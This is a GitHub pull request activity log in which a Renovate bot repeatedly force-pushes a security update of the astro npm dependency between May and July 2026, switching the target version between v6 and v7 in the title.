renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from 8c30944 to bb10997 Compare May 22, 2026 21:58
@renovate
renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from bb10997 to 473a7c3 Compare May 28, 2026 15:52
@renovate
renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from 473a7c3 to fd05725 Compare May 28, 2026 21:08
@renovate
renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from fd05725 to 4183aa2 Compare June 1, 2026 19:59
@renovate
renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from 4183aa2 to c8fba41 Compare June 2, 2026 00:46
@renovate
renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from c8fba41 to 6a21d30 Compare June 11, 2026 21:04
@renovate
renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from 6a21d30 to eed2147 Compare June 12, 2026 03:05
@renovate
renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from eed2147 to 80f214a Compare June 20, 2026 02:44
@renovate
renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from 80f214a to aea42eb Compare July 12, 2026 13:01
@renovate renovate Bot changed the title fix(deps): update dependency astro to v6 [security] fix(deps): update dependency astro to v7 [security] Jul 12, 2026
@renovate
renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from aea42eb to 98fb4ec Compare July 12, 2026 19:59
@renovate renovate Bot changed the title fix(deps): update dependency astro to v7 [security] fix(deps): update dependency astro to v6 [security] Jul 12, 2026
@renovate
renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from 98fb4ec to c6d80fe Compare July 16, 2026 20:08
@renovate renovate Bot changed the title fix(deps): update dependency astro to v6 [security] fix(deps): update dependency astro to v7 [security] Jul 16, 2026
@renovate
renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from c6d80fe to f74442b Compare July 17, 2026 00:25
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants